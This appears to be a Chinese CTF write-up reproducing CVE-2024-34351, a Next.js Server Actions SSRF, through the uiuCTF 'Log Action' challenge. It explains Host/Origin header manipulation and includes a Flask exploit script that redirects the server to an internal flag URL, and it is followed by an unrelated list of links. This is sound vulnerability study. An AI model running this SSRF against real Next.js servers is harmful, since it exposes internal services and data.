CVE-2024-34351 漏洞复现

ops/2024/12/24 11:12:32/

CVE-2024-34351,由Next.js异步函数createRedirectRenderResult导致的SSRF。

影响版本:13.4.0<= Next.js < 14.1.1

参考文章:

Next.js Server-Side Request Forgery in Server Actions · CVE-2024-34351 · GitHub Advisory Database · GitHub

在 NextJS 应用中挖掘 SSRF (assetnote.io)

CVE-2024-34351|Next.js框架存在SSRF漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

通过uiuCTF Log Action赛题复现,开题:

image-20240702042841986

点击之后是登录,正如题目描述,登录不起作用。

image-20240702042911958

给了源码,我们先看一看。docker里面给出了flag的位置,看到这个就知道多半不是RCE拿flag了。

image-20240702043046823

ts源码整体看下来没什么明显漏洞点,登录部分用户名是admin,密码是每次随机的16位数,这意味着不可能正常登录,而且正常登录后admin路由也不给flag。

image-20240702044126433

引用一下外国老哥在wp中所阐述的观点: Log4J RCE(远程代码执行)漏洞,它让我意识到我们都使用的所有库和模块都可能存在潜在危险。

CVE-2024-34351简述一下就是由于Next.js代码漏洞引起的,,当我们调用服务器操作并响应重定向时,它会调用异步函数createRedirectRenderResult

在附件文件log-action rontendsrcapplogoutpage.tsx,确实用到了Next.js并且进行了路由跳转

image-20240702045039903

抓一下注销时候的包

image-20240702045159668

根据老哥的源代码分析,我们可以通过HOST头来控制跳转的,因为有检查 CSRF 攻击的防御手段,所以我们还需要同步更新Origin。服务器开启监听,收到请求!

image-20240702045714993

image-20240702045915007

OK到这里SSRF已经验证了,接下来就是重定向到内网拿flag。

接下来就是SSRF拿flag的事情了,直接跳到拿flag还是跨度挺大的,中间还有一些分析,感兴趣的话可以去看看国外老哥写的文章:Log Action | Siunam’s Website (siunam321.github.io)

在安装完docker,启动容器时,docker会为容器默认分配一个容器子网,一般为172.17.0.0/24

但是这里后端服务的内部IP地址是172.18.0.2

直接看利用,py脚本上传服务器,python起一个服务

image-20240702051528443

exp.py

from flask import Flask, request, Response, redirectapp = Flask(__name__)@app.route('/login')
def exploit():# CORS preflight checkif request.method == 'HEAD':response = Response()response.headers['Content-Type'] = 'text/x-component'return response# after CORS preflight checkelif request.method == 'GET':ssrfUrl = 'http://172.18.0.2/flag.txt'return redirect(ssrfUrl)if __name__ == '__main__':app.run(host='0.0.0.0', port=1717, debug=True)

image-20240702053503440

image-20240702053633311


http://www.ppmy.cn/ops/144555.html

相关文章

C#使用实体类Entity Framework Core操作mysql入门:从数据库反向生成模型2 处理连接字符串

初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github&#xff1a;codetoys&#xff0c;所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C的&#xff0c;可以在任何平台上使用。 源码指引&#xff1a;github源…

医院药学的创新引擎:ChatGPT的应用与思考

《医院药学的创新引擎&#xff1a;ChatGPT的应用与思考》是北京友谊医院药剂科李新刚教授于近日发表的一篇综述文章&#xff0c;探讨了人工智能大语言模型ChatGPT在医院药学领域的应用前景和挑战。 文章主要论述了&#xff1a; ChatGPT在医院药学日常工作中的应用&#xff1a;…

Pytorch | 从零构建ParNet/Non-Deep Networks对CIFAR10进行分类

Pytorch | 从零构建ParNet/Non-Deep Networks对CIFAR10进行分类 CIFAR10数据集ParNet架构特点优势应用 ParNet结构代码详解结构代码代码详解SSEParNetBlock 类DownsamplingBlock 类FusionBlock 类ParNet 类 训练过程和测试结果代码汇总parnet.pytrain.pytest.py 前面文章我们构…

Jmeter对图片验证码的处理【超详细】

Jmeter对图片验证码的处理 在web端的登录接口经常会有图片验证码的输入&#xff0c;而且每次登录时图片验证码都是随机的&#xff1b;当通过jmeter做接口登录的时候要对图片验证码进行识别出图片中的字段&#xff0c;然后再登录接口中使用&#xff1b; 通过jmeter对图片验证码…

0101多级nginx代理websocket配置-nginx-web服务器

1. 前言 项目一些信息需要通过站内信主动推动给用户&#xff0c;使用websocket。web服务器选用nginx&#xff0c;但是域名是以前通过阿里云申请的&#xff0c;解析ip也是阿里云的服务器&#xff0c;甲方不希望更换域名。新的系统需要部署在内网服务器&#xff0c;简单拓扑图如…

C语言指针与数组深入剖析及优化示例 指针解读 数组与指针的关系

说明&#xff1a; 这是个人对该在Linux平台上的C语言学习网站笨办法学C上的每一个练习章节附加题的解析和回答 ex14&#xff1a; 重新编写这些函数&#xff0c;使它们的数量减少。比如&#xff0c;你真的需要can_print_it吗&#xff1f; if(isalpha(ch) || isblank(ch)) {p…

Matlab个性化绘图第6期—带标记面的三维折线图

带标记面的三维折线图本质上就是多组折线图&#xff1a; Matlab论文插图绘制模板第92期—折线图&#xff08;Plot&#xff09; 或者三维折线图&#xff1a; Matlab论文插图绘制模板第37期—三维折线图(plot3) 不同之处在于带标记面的三维折线图把每一组数据单独放在一个三维平…

【多模态聚类】用于无标记视频自监督学习的多模态聚类网络

Multimodal Clustering Networks for Self-supervised Learning from Unlabeled Videos 用于无标记视频自监督学习的多模态聚类网络 0.论文摘要 多模态自监督学习越来越受到关注&#xff0c;因为它不仅允许在没有人工监督的情况下训练大型网络&#xff0c;还允许跨各种模态搜索…